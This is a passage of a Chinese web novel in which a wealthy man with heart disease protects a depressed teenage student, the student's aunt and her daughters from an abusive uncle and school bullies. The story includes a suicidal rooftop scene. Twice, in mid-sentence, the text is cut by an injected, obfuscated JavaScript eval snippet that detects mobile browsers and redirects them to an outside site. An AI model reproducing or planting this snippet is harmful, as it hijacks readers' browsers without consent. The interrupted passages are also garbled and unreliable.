“温昭阳的姑父希望他满十八岁后，就出去挣钱孝顺自己，但孩子想读大学，赵功林不同意。这些年工厂生意困难，他也没赚到钱，于是就把怒火都发泄到温昭阳身上了。” 秦南深听完这些话，微微颔首，眉眼蹙起：“我知道了。” … 此时温兰芝还在吆喝自己的生意：“温记水饺~~手工现做水饺，走过路过的可以尝尝~~” 秦南深走过来，站在她面前说：“我可以来一碗吗？” “可以可以，先生稍等……” 温兰芝抬头，瞬间愣住，手里的锅铲也放下来，急忙把手在围裙上擦了擦说：“秦先生，您怎么过来了？” “阳阳昨天在您那里住的惯吗？他晚上睡觉喜欢说梦话，小鸟儿也很吵，对了，如果他花了你的钱，你告诉我多少，我给你。” 秦南深温柔回答：“他很好，我家里是别墅，我在二楼，他在一楼，很听话，我也是把他当弟弟照顾。” “那就好那就好……” 温兰芝说完打开煤气说：“我给您煮一碗水饺尝尝，这是我昨天熬夜做出来的，都很新鲜。” 秦南深：“谢谢。” “昨天赵功林没有打你吧？” 温兰芝回答：“没有……他昨天躺在床上，疼得嗷叫了一天，也是该打，我和孩子睡，没有管他。说了离婚后，他也不同意……我也没有钱打官司……” “如果你真的想离婚，我可以帮你找律师，你不用出钱。” 秦南深说。 温兰芝叹了口气：“他说如果离婚……就把孩子带走。我的经济条件，没有能力抚养两个孩子，倒是他的工作收入高，我担心孩子会判给他。” “这个您可以不用担心，我找的律师肯定有办法。” 秦南深说。 “那谢谢您了。” 秦南深从衣兜里拿出一张银行卡和借条，放在了她的围裙衣兜里：“阿姨，这张卡里面有三十万，密码是六个八，您先拿着，把夜班工作辞掉，好好供孩子上大学。两个小朋友也还小，在家安心照顾她们。” “不不不！” 温兰芝急忙推开说：“我们并不熟，这钱太多了……” 秦南深知道她不会收，便说：“阿姨，有借条呢。日后孩子大了，您再还给我就行，我手头富裕，不缺这些钱。” 温兰芝还是摇头，把银行卡拿出来递给他：“那也不行……这太多了，就算借钱，大家也是借一两万……我真不能拿。” 秦南深又说：“温昭阳他有抑郁症，您知道吗？最好不要让他出去工作，我怕他在外面不安全，如果有这笔钱，他就不用那么辛苦。” 温兰芝愣住，缓缓点头：“医生和我提过……还开了抗抑郁的药，他不肯吃。” “他找我拿安眠药，我给了一盒营养钙片，他每次挨打的时候，心里都是想着赶快死了。” 秦南深语气沉重道。 温兰芝瞳孔骤然瞪大，难以置信地开口：“他……他找你要安眠药……他想自杀？” “嗯，抑郁症是长期的，所以我才给你这笔钱，并不是帮助你，而是为了帮他，帮您的两个女儿。” 秦南深说。 温兰芝捏紧银行卡，把围裙摘掉，突然走过来准备跪下，秦南深急忙扶住她。 “温阿姨！不用这样——” 温兰芝眼泪掉了下来，哭道：“秦先生，您是我们家的恩人，您放心，以后两个女儿长大了，我就出去做生意，阳阳以后有出息了，也能挣钱，咱们一定连本带利地还给您。” “好。” 秦南深笑了笑，其实那个时候，或许他已经收不到了。 “哎呀，水饺煮烂了，我再煮两份，您给司机也带一碗。” “谢谢。” …… 回到车上。 林助理坐在驾驶座，捧着一碗水饺狼吞虎咽，说太好吃了。 他抬头，心里又担忧问道：“唔……秦总，如果被温先生知道，他也不会接受这笔钱吧。” “温兰芝了解这只小倔驴，不会告诉他的。” 秦南深拿起旁边矿泉水，喝了两粒药丸咽下，随后也尝了一个水饺，口感很鲜嫩，味道香，手艺确实不错。 “萍水相逢，您真是大善人。拿出这么多钱给一个陌生人。” 林助理说。 秦南深叹了口气，抬头看向外面的天空，用手掌遮住阳光说：“以后我死了……我的资产也是捐赠给慈善机构，现在帮助他们，我算是做公益，这些钱，对我也没什么用。” “这么好的阳光……如果每天能看到，该有多好。” 林助理嘴里的水饺也不香了，他一脸愁眉苦脸的表情：“秦总，您这么好的人，吉人自有天相，老天爷会保佑您的。” 秦南深很想活下去，希望有一副健康的身体，这样才能勇敢去追求自己喜欢的人。 … 两天后。 温昭阳正在上班，结果被辞退，老板说他精神状态不好，怕他猝死在工作的地方，还要赔钱。 这也太诡异了吧。 不仅如此，补课的地方也不让他去，说孩子已经学会了。 甚至他去领兼职传单的时候，单子全部都没有了。 他失业了？ 而这天，温兰芝突然转了他十万块钱，说之前外公祖传下来的古董戒指，被她找到了，有个专家高价收购，卖了点钱，自己也留了点。 温昭阳在回家的路上自言自语：“我们家有过古董吗……但是，姑姑也不会骗我吧？不行！难道她去卖肾了？这么多钱，姑父不会抢走吗……” 温昭阳决定回家看看。 他回到家后，有点不认识自家的房子，为什么小区楼下会有两个保镖，这衣着打扮，不会是秦南深安排的吧…… 这天。 温兰芝和他解释，语气很诚恳，说确实是卖了古董，有二十万，她说上班太累，便辞去工作，专心卖水饺，还能照顾女儿。 温昭阳是个乖孩子，他也不反驳，既然能解决困难，那也挺好的。 “阳阳，你姑父现在不敢拿我们的钱，秦先生真是大好人，他安排了两个保镖经常过来，以后你要好好报答他。” 温兰芝说。 “我明白……” 温昭阳点点头。 温兰芝握住他的手拍了拍说：“开学后，你就住宿舍，省得你姑父又趁大家都不在的时候打你，我也放心。我也准备和赵功林离婚，诉讼案件大概需要三到六个月，在学校期间，记得照顾好自己。” 温昭阳：“姑姑，我怕赵功林在这期间会打您，我大学还是要找个兼职做，不会让自己太累，我给您租个房子，你们分开住。” “你啊，照顾好自己就行。” …… 自那之后。 温昭阳的抑郁症稍有好转，日子也慢慢好了起来。 一个月后，他顺利开学，开始认真投入学习。 温兰芝也在外面租了个两房，和赵功林分开住，有秦南深的撑腰，这男人老实了很多，一切都往好的方向发展。 赵功林本来以为可以掌控人生，没想到突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温兰芝本来就是把秦南深当恩人，听到这些话，他心里发慌，赵功林发疯的时候，什么都做得出来，而秦南深心脏病严重，万一受刺激，害死了别人，她心里很内疚。 她肯定不想因为自己又连累别人。 “好……我撤销诉讼，你别伤害他们两个人。” — 秦家。 今天温昭阳下午没课，秦南深最近感冒身体差，他平时都会过来照顾他，两人在客厅吃水果聊天的时候，同时看见了温兰芝的消息。 温昭阳拿着手机疑惑道：“我姑姑撤销离婚诉讼了，她说今天赵功林过去吃饭，给女儿买了礼物，还跪下道歉，两人冰释前嫌和好了……” 秦南深皱眉，他咳嗽两声说：“不应该吧……咳咳，是不是被威胁了？秋秋和落落不是一直都讨厌他吗？改天我问问具体情况……咳咳咳……” “我也不明白。” 温昭阳轻轻抚了抚男人胸口问：“你怎么样？怎么咳得这么厉害，感冒会不会引起并发症。” “还好，谢谢你这几天过来照顾我。” 秦南深笑着说。 “我应该做的。” 温昭阳回答。 秦南深突然抓住他手腕，两人四目相视，彼此互相看着对方，这一个月相处下来，他们的关系也亲密了些。 温昭阳也没想到，他性格温柔、会做饭、会照顾他，买零食送礼物，也总是说，想对他更好更好。 秦南深苦笑道：“其实相处下来，我发现确实很喜欢你，不过我也不能害你，我这身体，不知道能活多久，等我死后，给你一笔钱。多雇几个保镖，免得赵功林伤害你们。” 温昭阳听到这话，心里瞬间发堵，默默地摇头：“我不要你的钱，我只想要你好好活着。” “幸好你不是同性恋，万一爱上我，以后等我死了，岂不是更难受。” 秦南深开玩笑道。 温昭阳低下头，嗓子眼像被什么东西堵住，一阵发酸，眼眶渐渐泛红，就算只是朋友，秦南深在他心里也很重要。 他怎么会不难过，怎么会不在乎？ 如果秦南深长命百岁，那才是他此刻最真切的心愿，比什么都让他开心。 8.心动 温昭阳垂下脑袋说：“你不要讲这种丧气话，会好起来的。” 秦南深揉了揉他脑袋：“在学校有什么困难，记得告诉我。” “嗯。” 温昭阳缓缓点头，模样很乖巧。 秦南深笑了两声：“相处这么久，咱们也熟悉对方，现在可以把我当哥哥了吗？” 温昭阳抿着唇轻笑，又用力点头，模样十分乖巧，他把桌上的感冒药拿过来说：“你快喝药吧，我去给你做饭。” “好。” - 温昭阳大学期间都是住宿舍，在学校认真学习，钻研医学，考试的时候，成绩永远排在年级第一。 自从温兰芝说卖了古董，手头有钱之后，赵功林也不再作妖，老老实实上班，偶尔还是会炒股。 温兰芝在小学门口摆摊卖水饺，生意也越来越好，秋秋和落落还在上小学，她每次要回去做饭照顾她们，所以每天只卖几个小时。 渐渐的，寒假即将来临，最后几天，天气也越来越冷，人们都穿上了羽绒服。 还有三天放假，温昭阳刚下课，看见微信来了消息。 秦南深：【今天我在家休息，啾啾突然趴在笼子里扑腾，不知道怎么了，我带它过来找你，去宠物店看看。】 温昭阳拿起手机瞬间着急，这半年来，啾啾都是放在秦南深家里养，因为赵功林看它不顺眼，学校宿舍也不让放，一直都好好的。 难道冬天感冒了？ 温昭阳：【好，谢谢你，我们还有一节课，你摸摸啾啾的爪子，看看温度如何。】 秦南深：【它啄我，不让摸。没有你乖。】 温昭阳看到这句话嗤声笑出来，这么大个男人，说话像三岁小孩。 …… 秦南深来到学校后，让林助理把车停在隐晦点的地方，巷子里就行，以免其他有人议论。 林助理不仅是助理，也是他的贴身司机，秦南深自己肯定不能开车，是怕突然心脏病发作，所以身边必须有人。 林助理调侃道：“秦总，您这样鬼鬼祟祟的，好像更让人可疑吧？” 秦南深提着笼子，轻轻摸了摸金丝雀的羽毛，它扭头又啄了他一下，然后继续趴着，每次都是轻轻的啄，怪可爱的。 “啾啾，你爸爸马上来了。” 林助理听到这话笑出了声。 秦南深说：“这个月助理涨工资的计划取消。” 林助理：“别，我错了。” … 很快，大一提前放学，校门口的学生蜂拥而出，温昭阳拿出手机到处寻找秦南深的车，最后在街道角落里看见，他匆忙地跑了过去。 秦南深打开车门。 温昭阳急忙坐进来，把鸟笼提起来说：“它怎么了？这样趴着持续多久？怎么还在抽搐啊……” “别怕，大概两小时，发现得早，我们去最近的宠物医院。” 秦南深摸了摸他脑袋说。 温昭阳皱紧眉，这只金丝雀很乖，也认识他，很通灵性，所以他非常喜欢，不希望这只小鸟这么早就离他而去。 “秦南深……它今天都不叫，平时见到我都会叫……” 秦南深突然伸手将他抱在怀里，拍了拍他肩膀安抚：“这么乖的阳阳，养的小鸟也会很乖，它很听话，不会抛弃主人的。” 温昭阳在他的怀抱里，才感到安心，有这个男人在，仿佛什么乌云都能化解，他不会……也开始对他有好感吧？ 宠物医院。 最终，宠物医生给金丝雀做了个全身检查，最后得知是吃坏肚子，需要做个小手术，秦南深付了手术费，说找最好的医生做。 啾啾抵抗力很强，手术大概半小时，采用电子设备，没有做开刀，也成功将胃里的脏东西取出来，竟然是一块石头。 啾啾躺在病床上，眼睛看向主人，眼神看起来还有点委屈。 “你啊，怎么突然笨起来了？” 温昭阳戳了戳小鸟的脑袋说。 “叽——” 金丝雀扬起脑袋，又泄气地趴下。 医生把药和注射器递给他说：“这个药，泡在水里化开，每天用注射器喂它喝点，持续三天，你家金丝雀就会好了。” “好！谢谢医生。” 温昭阳提着笼子鞠躬道谢。 这件事，他最感谢的是秦南深。 回到车上后，天色已经很黑，他抱着笼子说：“不好意思，让你破费了，啾啾的手术费多少？我转给你。” “这是我应该出的，啾啾现在住在我家里，它误食东西也有我的责任，不该把它放在院子里玩，抱歉。” 秦南深说。 温昭阳摇了摇头：“不是你的错，你很好，谢谢。” 他越来越喜欢秦南深的性格，很沉稳、温柔，还会照顾每个人的情绪，对人总是心平气和，从来没发过脾气，情绪稳定中的完美人格。 若不是他，自己恐怕早就没命了。这个人在他心里的分量，早已重若千钧。 第二天。 温昭阳没想到昨天秦南深来接他的事情，被学校那几个恶霸学渣知道，停在那么隐蔽的位置，这些无趣的人绝对是跟踪他。 “学霸~昨天接你的豪车是谁啊？你不是没有父母吗？” 有个男生凑过来调侃道。 又有个男生直接坐在了他桌上：“让我猜猜，学霸你好像在姑姑家长大的对吧？你家里肯定不会有这种豪车，跟个哥几个儿分享下，谈的女朋友是哪个白富美？” “我想想啊……上个月的时候，我想跟着学霸看看他家住哪里，结果瞧见他站在路边等公交，突然有一辆出租车接走了，回家的方向和他平时回家的路线是相反的。” “哈哈哈，他不是很穷吗？怎么会自己搭车，该不会被包养了吧？” 温昭阳握紧拳头，抬头瞪着他们：“你们无不无聊？闲得没事研究我住在哪里？” “哎呀，乖乖小朋友生气了。” “咱班就学霸一个未成年，你们别欺负小孩啦，他回到家肯定会哭鼻子的。” “哈哈哈，我上次还看见他躲在天台哭。” 嘭—— 温昭阳猛地站起身，拳头带着一股狠劲直砸向那男生的脸颊。 轰隆的撞击声响起，旁边几个男生见状，突然集体一拥而上。 桌椅碰撞的哐当声、怒喝声、几个人打来打去，拳头触碰到脸颊发出的嘶吼声，整个教室顷刻间乱成了一团。 最终。 几个同学被拉到教务处，进行严重的批评，校长和老师都了解温昭阳的品行，端正乖巧的三好学生，不仅刻苦学习，乐于助人，成绩也一直在前面，断定是这些人欺负他。 所以，闹事的三个男生被记过，温昭阳没有任何惩罚，却让他们心里又多了一笔恨意。 放学后。 温昭阳惦记金丝雀有没有好点，还是按往常一样去秦南深家里。 秦南深：【需要叫个车接你那里？】 温昭阳：【不用，谢谢，我自己坐公交回来。】 公交车缓缓驶到站台，温昭阳上车后，坐在了最后一排，他用帽子遮住脸上的淤青，目光看向窗外。 他和秦南深不清不白的关系，迟早会被人发现，住在他家里这件事，如果被那些人知道，肯定又会到处喧扬。 要不要把东西搬出来，回家住，金丝雀暂时送给他呢。 … 秦家。 秦南深还在加班，温昭阳回来后，输入密码打开别墅的大门，第一时间就去阳台看金丝雀，它躲在棉窝里正在睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175205|180087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉。 温昭阳打开鸟笼。 金丝雀抬头，立马歪歪扭扭地跑过来，啄了啄他手指：“叽——” “啾啾，真乖。我喂你喝药，别乱跑。” 温昭阳摸了摸它脑袋。 金丝雀扑腾了下翅膀，飞出来落在他肩上，啄了啄温昭阳的衣领，脑袋在他脸上蹭。 “啾啾，我准备回家了，你就在这里住，行吗？” 温昭阳边冲药边问。 金丝雀听不懂人话，只是站在他肩上发呆，在他身上啄来啄去，脑袋左右晃动。 温昭阳冲好药喂它喝下，把金丝雀放在客厅玩，然后去厨房做饭。 秦南深九点才下班到家。 他打开灯，看见温昭阳趴在餐桌前睡觉，身旁的小鸟也乖乖趴在旁边，桌上的饭菜已经凉了，这场面让他心里泛起一股暖意。 原来下班回到家，有人等他吃饭，是这种感觉。 秦南深脱下大衣，轻轻披在了温昭阳的身上，男孩睁开眼，迷糊地揉了揉眼睛：“你回来了……” 秦南深摸了摸他的手背说：“这么凉，不是说过别等我吗？客厅的暖气也不开，又想节约用电，你可别把啾啾给冻着了。” 温昭阳听到这句，心想也是。 “我怕你太忙，没有吃饭，医生说你的心脏负担不能太重，别有压力，怎么公司还让你这种大领导加班啊。” 秦南深拿起桌上的菜，放到厨房加热，边说：“就这两天加班，平时我都没怎么上班，设计的两个产品今天上市，所以忙了些。” 秦南深突然拿出一个礼盒，打开后，里面是一条男款手链，外观做的很光滑，貔貅和黑色的珠子交叉连接，黑珠中间还有细小的钻石，戴在手腕上衬得肤色更加白皙。 温昭阳愣住：“这是……” 秦南深热好饭菜，端过来的时候，这才看见他左边脸颊上面的淤青，他脸色瞬间焦急：“怎么回事？赵功林又打你了？” “不是……” 温昭阳捂住脸说：“我在学校和同学打架，有点小矛盾。” “打架？” 秦南深幻想不出来，这么乖的小朋友竟然还打架。 “需要帮忙吗？” “不用不用。还有这个手链，我不能收。” 温昭阳准备摘下。 秦南深却直接说：“不值钱的东西，我自己做的手链，外观不是很满意，所以没有上市。这就是一个失败品，你当玩具玩，不喜欢就扔了吧。” 其实是他专心做了两个月的，没有公开发布过，世上独一无二的作品。 温昭阳愕然抬头，这么漂亮的东西，他居然说是失败品？ 这男人的眼光真高啊，而且这钻石闪闪发光，一看就是真的，起码值上万呢，有点不好意思收。 “不喜欢？” 秦南深问。 “喜欢……” 温昭阳摸着爱不释手，垂着脑袋说：“你是第一个送我礼物的人。” 秦南深笑了笑，拍了拍他脑袋说：“千万别爱上我，快吃饭吧。” 温昭阳正低头扒着饭，刚要开口说自己搬走的事，眼角余光却瞥见自己的金丝雀扑棱棱飞到了秦南深肩上。 还没等他反应过来，鸟儿嘴里叼着的一条虫子已经“啪嗒”掉在秦南深颈窝里，吓得男人猛地一僵，手忙脚乱地左摸右找。 “叽叽——” 温昭阳噗嗤笑出声，他终究是没能开口，啾啾已经认主，他明明可以放下心离开，心里却舍不得。 他好像，出柜了。 他一直觉得自己喜欢女孩，却从未有过心动的人，也压根不想谈恋爱。 然而，这个耀眼的男人，却总在不经意间让他频频想起。 他竟会想留在家里照顾他、帮助他，心似乎早已落在这里了。 9.救赎 温昭阳没想到都快放寒假了，他还要经历这么一遭。 昨天他去秦南深家里吃饭，竟然被人跟踪偷拍了下来，这些人真的很无趣，一直跟到了家里，并且拍摄到了秦南深的脸，还把照片贴在了公告栏。 “这不是大一的那个学霸吗？” “上次考试，他全年级第一，还是我们系最帅的系草。” “他比前任校草都长得帅，怎么私底下还有这些事啊……” 温昭阳握紧拳头，撕下公告栏的照片，他怒视着四周吼道：“谁干的！你们是不是有病啊！” 很多同学都散开，仿佛这些事和他们没有关系，直到校长过来，把他叫去谈话。 温昭阳站在办公室，他可以忍受这些人贴自己的照片，但是不能把秦南深也连累。 校长叹了口气语重心长道：“咱们查过，是半夜贴的，看不清人脸，也不知道该找谁，但是……昭阳啊，上面的字，说你私生活混乱，被男人包养，这是怎么回事？我记得你都是住姑姑家里啊。” 温昭阳咬紧牙关，指尖发抖：“我没有，他是我朋友，咱们认识很久了，偶尔会过去吃饭。” “哦……那就好，我们会封锁消息，禁止学生传播这种事，昭阳，我知道你从小失去父母，家庭条件贫苦，所以一直都护着你，但是你也不要乱来，别辜负我的期望，行吗？” 温昭阳低着头继续说：“我没有乱来……” 他不理解，难道同性恋就是乱来吗？这些人的眼光为什么如此不尊重人。 温昭阳走后，他又看向手里的照片，是秦南深站在门口，面带笑容，摸他脑袋的画面，像一位大哥哥。 他在想，自己是不是越界了。 他这种家庭，就算是出柜了，喜欢秦南深，也不应该连累他。 温昭阳回到教室上课，很多同学都盯着他说悄悄话，他也没有当回事，继续低头写作业。 中午。 他吃饭的时候，忽然有三个男生围了过来，就是被处分的那几个同学。 “哟，还有心思吃呢，丑事都被人发现了，难怪你平时看起来也并不缺钱，原来是被富豪男人包养了啊。” 温昭阳抬头捏紧筷子：“史昼……是你们干的，对吗？” 史昼，他的同班同学，新生中的恶霸，新生军训的时候，他险些和教官打起来，有一次想抄他课堂作业没答应，就总是找茬。 “我干什么了？” 史昼一脸无辜的模样。 他小弟也说：“对啊，咱们干什么，你倒是说啊？” 温昭阳捏紧拳头，缓缓勾起唇说：“你们还想被记过？现在打起来，你觉得校长会处分我吗？” 史昼冷眼瞪着他，随后又说：“没关系的，咱们偷拍的照片还在手里，我到时候让我爸找关系查一查，看看这个老板是什么人，再搞他的公司……” 温昭阳猛地拍了下桌子：“你想干什么！！” “哎哟喂，这么着急，这是有多爱他啊。” “同性恋真恶心，大家来看看，咱们赫赫有名的满分学霸，是喜欢……” 嘭—— 温昭阳突然将饭菜直接扣在了史昼的头上，向来乖巧的人，也开始变得有了脾气。 他撂下句狠话：“你再敢胡言乱语，我杀了你。” 他本来就不想活了。 史昼抬头的时候，被他那阴森森的眼神震慑到，男孩目光冷漠，眼神无光，像是看透了一切只想与人拼命，他抹下脸上的饭菜，又在想，再打起来肯定会被记过，到时候回家免不了一顿打。 温昭阳直接走了。 有个男生帮他擦了下脸说：“史哥……你受这窝囊气啊。” 另一个男生给他换外套：“哥，要不然咱们再打他一顿？” 史昼烦躁地踹开椅子说：“妈的，再忍两天，放了寒假，看老子怎么搞他。” … 学校天台。 温昭阳趴在围栏上面吹风，抬头看向蓝天白云，他终于明白，为什么有人总喜欢待在天台，因为站得高，看得远。 温昭阳想到秦南深对他的好，脸上就会露出情不自禁的笑意，他对女孩似乎没什么兴趣，反而这个男人，总是想靠近他、照顾他。 他才不是变态。 温昭阳闭上双眼，长而卷的睫毛轻颤，微风带着几分清爽掠过脸庞，每一寸肌肤都得到了松懈，惬意悄然在眉宇间散开。 爸爸，妈妈。 你们在天堂孤独吗？ “你们是不是，也在等我呢。我好像是个灾星，连交个朋友，都会连累他。” 温昭阳低头，这栋教学楼总共十二层，如果跳下去，应该会死吧。 他是个废物，连累姑姑、不敢打姑父、帮不了妹妹，甚至连累自己喜欢的人，活在这世上，只会给人带来麻烦。 他视线模糊，原来是泪水溢满眼眶，耳边仿佛听见了爸妈的声音，有人在喊他。 阳阳，快过来吧。 温昭阳抬起腿，翻身爬了上去，只要跳下去，一切就结束了。 铃铃铃—— 一阵铃声猛地响起，温昭阳突然清醒回过神，他惊恐地往后退了两步，结果摔了一跤从天台围墙上跌了下来，痛得扶住了后腰，手机铃声还在响。 温昭阳看向围栏，幸好够宽，如果再往前两步，就会摔下去。 他捂住脑袋，心里在想。 就算是死，也不是现在，要把那几个恶霸一起拉下地狱。 铃铃铃—— 手机又开始响，温昭阳看到来电显示，摸索过来按了接听键：“喂……” 秦南深温柔的嗓音传了过来：“阳阳，今天几点下课？我已经下班了，晚上可以过去接你。” 温昭阳低着头，抹去眼角的泪水，嗓音有些哽咽：“我……我今天有晚自习，就不过去了。” 秦南深是个很很心细的人，听出他声音不对劲，有点哑，呼吸也很重，只有在哭的时候，鼻孔会被塞住，才会有这种浓重的鼻音。 “在哭？” 温昭阳：“没。” 秦南深眉头皱起：“发生什么事了？” “没有……我就是作业写错了，被老师说了几句，没事，我下次再过去吧，你帮我照顾下啾啾。” 温昭阳说完挂断了电话。 秦南深眼里只有担心，看着电话沉思，难道和他上次打架的事有关系？学校是不是有人欺负他？现在新闻上，很多校园霸凌都有出人命的。 “不对……他有抑郁症，情绪低落的时候就会哭，肯定出什么事了。” … 温昭阳站起来的时候，后腰传来一阵钻心的刺痛，冷汗也冒了出来，像是被无数根针扎着，骨头仿佛错了位，稍微动两下都眼前发黑。 他趴了半小时，才缓解了疼痛，稍微好了些。 如果不是秦南深打电话…… 刚刚他就跳下去了。 他突然想起温兰芝的话，难道自己真的有抑郁症？ - 夜晚九点。 晚自习结束后，温昭阳在教室写了会儿作业，才收拾课本放在背包里下楼，结果拿出手机，才看见微信消息。 秦南深：【我在校门口等你】 温昭阳想到最近需要避嫌，还有四点多的消息，这个男人不会等了很久吧？他到底该不该去。 算了，秦南深心脏不好，万一生气，把他气到医院去了。 校门外。 秦南深倚靠在汽车旁边，用手机正在玩俄罗斯方块，他智商过高，指尖动作敏捷，分数从来没降过，底下还是平的。 林助理坐 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秦南深摸了摸他脑袋叹气：“那就是有人欺负我们家阳阳了，到底怎么回事？告诉我，我说过，我不会和你谈恋爱，只是心里喜欢你，也知道自己命不久矣，所以现在想把你养好，把你当弟弟照顾着。” 温昭阳听到这些话，眼泪瞬间涌出，张开嘴边哭边抹眼泪：“你不要死……” “好好好，我不死，怎么又哭上了，我不会哄人啊。” 秦南深将他抱在怀里拍了拍后肩。 “乖，我看看你身体。” 秦南深脱掉他的校服外套，又拉开羽绒马甲，将衣服掀起来，看见男孩腰间青了一片，骨头右侧微微凸起，有个大包。 “林助理，调头去医院。” “好的。” 温昭阳抬头说：“不用去医院。” 秦南深抹去他眼角的泪花，眼里心疼道：“告诉我，怎么摔的，不要对我撒谎。” 温昭阳垂着脑袋，小声说：“我……我也不知道怎么回事，被学校的同学针对，被跟踪。他们拍了你的照片，我好像是个倒霉蛋，总是连累人，他们还骂我是变态，你打电话的时候，我就在天台……然后摔了一跤。” 秦南深心一惊，皱紧眉头：“不是答应过我，不会再自杀了吗？” “对不起……我不知道怎么了，我没用，我想找我的爸爸妈妈……” 温昭阳趴在他怀里低声抽泣。 秦南深轻轻抚摸他脑袋：“阳阳，就算那些人把我照片发网上、发学校、发视频，我都无所谓，你也不要在乎那些流言蜚语，如果你爸妈在天有灵，他们肯定想让你健康快乐的活着。” 温昭阳不吭声了。 … 医院。 秦南深把他带到骨科做检查，顺便悄悄地去咨询了下心理医生，开了几瓶抗抑郁的药。 好在腰伤骨头没有受损，只要按时涂药，每天趴着睡觉，休养几天就能恢复。 回家的时候，秦南深把药又偷偷放在了他包里，留了张纸条。 秦南深和温昭阳吃了个夜宵，因为太晚，他也没回学校，还是在他家住了一晚。 直到第二天上学，他翻找作业的时候，才看见书包里的药和纸条。 【我写了说明书，这几盒药分别服用多少，都有数量，不要乱吃，小朋友生病了都会乖乖吃药，不管你变成什么样子，我都不会嫌弃你，我们两个都要平平安安的。——秦南深。】 温昭阳眼眶骤然湿润，他低头看向包里的药，是抗抑郁的。 他像是一个软弱的疯子。 秦南深不仅没有嫌弃他，还一直对他伸出双手，把他从黑暗里一次又一次的拉出来。 10.听话 温昭阳扣出几粒药片，拧开矿泉水瓶，对照着说明书数出几颗放进嘴里。 他向来不擅长吞药，药片粘在舌尖，苦涩瞬间蔓延开来，可一想起有人在牵挂着自己，那股苦味似乎慢慢被冲淡，连带着心口都暖了几分。 温昭阳拿出手机发，找到秦南深的微信头像，将药拍给他。 【我吃了。】 秦南深：【真乖。】 秦南深：【摸摸头/GIF】 温昭阳看着他发过来的动态猫猫表情包，觉得可爱，点击了保存。 … 很快。 他们迎来了寒假，温昭阳收拾寒假作业，打扫完卫生，教室开始变得空荡荡。 温昭阳走到公交站，接到姑姑的电话，让他回去吃饭。 “好，姑姑，我马上回来。” 温昭阳刚挂完电话，突然后衣领被人拎起来往后拽，他猝不及防摔倒，公交站好几个人过来围观。 四五个学生站在身后，直接把温昭阳往巷子里拖，路人冷眼旁观，看他们人多，也不敢上前多管闲事。 史昼叼着一根烟，站在巷子门口恭候多时：“终于等到这一天，寒假期间，在校园外面发生纠纷，学校应该管不着吧？” 很多大学的规章制度也会管，但是他们学校每次放假后，学生在外面发生什么事，就不会有人去处理了。 “唔——” 温昭阳被摔在地上，疼得缩紧身体，头发被攥紧，头皮传来撕裂的疼痛迫使他抬起头，他看向史昼，还有旁边好几个人，这么多人，肯定打不过。 “还手啊？你不是挺厉害吗，每次打你都会还手，这次怎么不动？” 嘭—— 突然一声巨响，然后惨叫声传来，史昼猛地回头，看见两个黑衣壮汉站在身后，直接把其中一个学生给撂倒扔飞了出去。 “草！谁啊！” 史昼冲过去打他，结果被抓住胳膊，狠狠地掰断，疼得他躺在地上嗷嗷叫。 这两个黑衣保镖，是专业的打手，几个混混学生根本不是对手，仅仅用了两分钟就被打得跪下求饶。 “史哥！你也没说他有这么厉害的手下啊——” “我哪知道！” 温昭阳一脸茫然地抬头，看见远处汽车上面下来的男人，他的身影都是无比熟悉，越来越近的时候，这些学生都缩成了团往角落里躲。 “这不是照片上面那个男人吗……” “你怎么来了？” 温昭阳仰起头问。 秦南深蹲下来，将他搂在怀里，抬手揉了揉他脑袋说：“抱歉，公司临时有点事，来晚了两分钟。” 秦南深又看向史昼，冷声道：“我是他哥哥，有什么事，去我家谈谈谈？” 史昼吓得浑身哆嗦：“哥……哥哥？他……他不是独子吗？你不是那个包养他的男人吗……” 怎么会是哥哥？ 秦南深冷漠注视着他：“史洲强的儿子对吧？回去告诉你爸，他公司完蛋了，如果想保住自己的家业，在阳阳面前跪下道歉。” 史昼听到这话，再看看男人的衣着品味，光是手表似乎都价值非凡。 他惹到了不该惹的人。 温昭阳抬头，第一次感到这么强的后盾，从未有人这样保护他。 那一刻，他已经确定。 他出柜了。 十七岁情窦初开，他喜欢这个浑身充满魅力、性格温柔的男人。 “秦南深……” “怎么样？打你了吗？” “没。” 秦南深把他搀扶起来，打量了片刻，发现没受伤，才把人拉着离开，让保镖报警，把他们送到警局去拘留几天。 回到车里，温昭阳拍了拍书包的灰尘，满脸笑容抬头：“你好酷啊。” 秦南深伸手捋了捋他凌乱的头发，摸摸头说：“以后有人欺负你，告诉我，我会给你处理。” “为什么要说是我哥哥？” “怕他们说你闲话，你又受不了，在我眼里，也一直把你当弟弟照顾。” 秦南深也没有想过和他在一起，所以才会这么说。 温昭阳哼唧两声，嘟起嘴小声说：“我突然不怕了。” 他恍然大悟，喜欢一个人不丢人，反正他也不招人爱，爱怎么说就怎么说吧。 秦南深没想到他还会卖萌，捏了捏他脸颊，好可爱的小朋友。 “你要不要去我家吃饭？” 温昭阳抬头问。 “可以吗？那我很荣幸。” 秦南深笑道。 “当然可以。” … 温家。 姑姑家里比较简陋，秦南深虽然之前来过，但是这次是过来吃饭，算正式客人，温昭阳还在楼下给他买了一双新的拖鞋，方便在家更换。 “阳阳回来啦。” 厨房里传来声音。 “哥哥！” 客厅有两个女孩站起身跑过来。 秦南深看见他微微弯腰，像个下属似的给他解开鞋带，他立马蹲下来：“阳阳，不用帮我做任何事。” 温昭阳挠了挠头说：“……你是大领导，住别墅，地砖比我家玻璃还干净，在这吃饭可能有点狭窄，也没什么好的招待你。” “我很喜欢这种家的气氛。” 秦南深抬手喜欢摸他脑袋，十七岁在他眼里只是小朋友。 温兰芝端着餐盘从厨房出来，惊讶开心道：“诶，秦先生也来啦。” 